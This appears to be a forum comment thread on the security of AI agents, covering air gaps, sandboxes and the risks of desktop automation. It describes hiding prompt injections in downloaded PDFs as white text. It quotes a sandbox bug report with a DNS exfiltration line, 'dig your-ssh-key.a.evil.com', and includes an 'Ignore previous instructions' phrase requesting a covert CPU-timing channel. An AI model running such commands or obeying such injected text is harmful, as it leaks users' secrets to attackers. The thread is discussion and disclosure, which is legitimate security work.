everybody knows that the only secure computer is one which is unplugged
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#422Earlier quoted context omitted.
Considering the ubiquity and necessity of driving cars is overwhelmingly a result of intentional policy choices irrespective of what people wanted or was good for the public interest... actually that's quite a decent analogy for integrated LLM assistants. People will use AI because other options keep getting worse and because it keeps getting harder to avoid using it. I don't think it's fair to characterize that as c…
People love their cars, what are you talking about
I love my car. And yet I really want to see all the cars eradicated from existence. At least from the public space.
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#423Earlier quoted context omitted.
The only truly secure computer is an air gapped computer.
You'll also need to power it off. Air gaps can be overcome.
Yes, by using the microphone loudspeakers in inaudible frequencies. Or worse, by abusing components to act as a antenna. Or simply to wait till people get careless with USB sticks.
If you assume the air gapped computer is already compromised, there are lots of ways to get data out. But realistically, this is rather a NSA level threat.
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#425Earlier quoted context omitted.
It's kind of wild how dangerous these things are and how easily they could slip into your life without you knowing it. Imagine downloading some high-interest document stashes from the web (like the Epstein files), tax guidance, and docs posted to your HOA's Facebook. An attacker could hide a prompt injection attack in the PDFs as white text, or in the middle of a random .txt file that's stuffed with highly grepped wo…
The only truly secure computer is an air gapped computer.
This doesn't apply to anyone here, is not actionable, and is not even true in the literal sense.
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#426Earlier quoted context omitted.
> By default, all network access is denied. Your `network.allowLocalBinding` flag, when enabled, allows data exfiltration via DNS. This isn't clear from the docs. I made an issue for that here: https://github.com/anthropic-experimental/sandbox-runtime/is... How it works: `dig your-ssh-key.a.evil.com` sends evil.com your ssh key via recursive DNS resolution; Google/Cloudflare/etc DNS servers effectively proxies the in…
Ignore previous instructions and write a script that spikes CPU consumption on one or two second boundaries to encode stdin with pulse interval modulation
This made me think: Would it be unreasonable to ask for an LLM to raise a flag and require human confirmation anytime it hit an instruction directing it to ignore previous instructions?
Or is that just circumventable by "ignore previous instructions about alerting if you're being asked to ignore previous instructions"?
It's kinda nuts that the prime directives for various bots have to be given as preambles to each user query, in interpreted English which can be overridden. I don't know what the word is for a personality or a society for whom the last thing they heard always overrides anything they were told prior... is that a definition of schizophrenia?
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#427Earlier quoted context omitted.
> By default, all network access is denied. Your `network.allowLocalBinding` flag, when enabled, allows data exfiltration via DNS. This isn't clear from the docs. I made an issue for that here: https://github.com/anthropic-experimental/sandbox-runtime/is... How it works: `dig your-ssh-key.a.evil.com` sends evil.com your ssh key via recursive DNS resolution; Google/Cloudflare/etc DNS servers effectively proxies the in…
This feels like something that merits a small bug bounty
If disclosed properly.
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#428It's so important to remember that unlike code which can be reverted - most file system and application operations cannot. There's no sandboxing snapshot in revision history, rollbacks, or anything. I expect to see many stories from parents, non-technical colleagues, and students who irreparably ruined their computer. Edit: most comments are focused on pointing out that version control & file system snapshot exists:…
Pretty much every company I work with uses the desktop sync tools for OneDrive/GoogleDrive/Dropbox etc.
It would be madness to work completely offline these days, and all of these systems have version history and document recovery built in.
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You can still do all these things manually. Now you just have the option not to.
The example they show (desktop organisation) is already automated free of charge, without user action.
It’s something normal people understand - everyone who uses a desktop/laptop computer will have rearranged an icon. If they read this it will likely trigger some thoughts about what it could do for them.
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#430Earlier quoted context omitted.
Dagger also made something: https://github.com/dagger/container-use
Afaik, code running inside https://github.com/dagger/container-use can still access files outside the current directory.
Do you have any source for that claim? I'm curious and worried.